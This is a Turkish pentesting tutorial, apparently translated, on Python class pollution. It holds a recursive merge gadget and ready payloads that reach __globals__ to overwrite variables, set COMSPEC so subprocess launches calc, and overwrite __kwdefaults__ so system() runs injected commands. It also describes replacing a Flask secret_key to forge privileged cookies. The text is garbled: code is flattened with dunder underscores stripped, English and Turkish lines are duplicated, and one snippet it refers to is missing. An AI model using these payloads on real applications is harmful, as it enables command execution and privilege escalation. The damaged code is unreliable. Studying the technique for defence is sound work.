Nesnelerin sınıflarını dizelerle nasıl kirletebileceğinizi kontrol edin:
classCompany: passclassDeveloper(Company): passclassEntity(Developer): passc =Company()d =Developer()e =Entity()print(c)#<__main__.Company object at 0x1043a72b0>print(d)#<__main__.Developer object at 0x1041d2b80>print(e)#<__main__.Entity object at 0x1041d2730>e.__class__.__qualname__='Polluted_Entity'print(e)#<__main__.Polluted_Entity object at 0x1041d2730>e.__class__.__base__.__qualname__='Polluted_Developer'e.__class__.__base__.__base__.__qualname__='Polluted_Company'print(d)#<__main__.Polluted_Developer object at 0x1041d2b80>print(c)#<__main__.Polluted_Company object at 0x1043a72b0>
Temel Zayıflık Örneği
Consider the following Python code:
Aşağıdaki Python kodunu düşünün:
classUser:def__init__(self,username,password): self.username = username self.password = passworddeflogin(self):# Code for logging in the userdeflogout(self):# Code for logging out the userclassAdmin(User):def__init__(self,username,password):super().__init__(username, password) self.is_admin =Falsedefpromote_to_admin(self): self.is_admin =Truedefdemote_from_admin(self): self.is_admin =False
In this code, we have a User class and an Admin class that inherits from the User class. The User class has an __init__ method to initialize the username and password attributes, as well as login and logout methods. The Admin class adds additional functionality with the promote_to_admin and demote_from_admin methods.
Bu kodda, User sınıfı ve User sınıfından türeyen Admin sınıfı bulunmaktadır. User sınıfı, username ve password özelliklerini başlatmak için __init__ yöntemine sahiptir ve ayrıca login ve logout yöntemlerine sahiptir. Admin sınıfı, promote_to_admin ve demote_from_admin yöntemleriyle ek işlevsellik ekler.
Now, let's say an attacker is able to manipulate the User class prototype and add a new method called delete_account:
Şimdi, bir saldırganın User sınıfının prototipini manipüle edebildiğini ve delete_account adında yeni bir yöntem ekleyebildiğini varsayalım:
This is an example of class pollution, where an attacker is able to modify the prototype of a class and add or modify its methods. In this case, the attacker was able to add a method to the User class and access it through an instance of the Admin class.
Bu, bir saldırganın bir sınıfın prototipini değiştirip yöntemlerini ekleyebileceği veya değiştirebileceği bir sınıf kirliliği örneğidir. Bu durumda, saldırgan User sınıfına bir yöntem ekleyebildi ve Admin sınıfının bir örneği üzerinden erişebildi.
Sınıf özelliği varsayılan değerini RCE'ye (alt işlem) dönüştürme
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
</details>
<details>
<summary><code>globals</code> aracılığıyla diğer sınıfları ve global değişkenleri kirletme</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Rastgele alt işlem yürütme
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary><strong><code>__kwdefaults__</code></strong> üzerine yazma</summary>
**`__kwdefaults__`**, tüm fonksiyonların özel bir özelliğidir. Python [belgelerine](https://docs.python.org/3/library/inspect.html) göre, bu özellik "yalnızca anahtar kelime parametreleri için herhangi bir varsayılan değerlerin bir eşlemesi"dir. Bu özelliği kirletmek, bir fonksiyonun yıldızlı (\*) veya \*args'ten sonra gelen anahtar kelime parametrelerinin varsayılan değerlerini kontrol etmemizi sağlar.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Flask gizli anahtarının farklı dosyalarda üzerine yazılması
Yani, webin ana python dosyasında tanımlanan ancak sınıfı ana dosyadan farklı bir dosyada tanımlanan bir nesne üzerinde sınıf kirliliği yapabilirseniz. Önceki payloadlarda __globals__'a erişmek için nesnenin sınıfına veya sınıfın yöntemlerine erişmeniz gerektiğinden, o dosyadaki globals'e erişebileceksiniz, ancak ana dosyadaki globals'e erişemeyeceksiniz.
Bu nedenle, ana sayfada gizli anahtar'ı tanımlayan Flask uygulama global nesnesine erişemezsiniz:
Bu senaryoda, Flask gizli anahtarını değiştirmek ve bu anahtarı bilerek ayrıcalıkları yükseltmek için ana dosyaya erişmek için dosyalara gezinmek için bir araca ihtiyacınız vardır. Bu aracı kullanarak, Flask gizli anahtarını değiştirebilir ve bu anahtarı bilerek ayrıcalıkları yükseltebilirsiniz.
app.secret_key'i (uygulamanızdaki adı farklı olabilir) değiştirmek için bu payload'u kullanın, böylece yeni ve daha fazla yetkiye sahip flask çerezlerini imzalayabilirsiniz.
Ayrıca, daha fazla salt okunur gadget için aşağıdaki sayfayı da kontrol edin: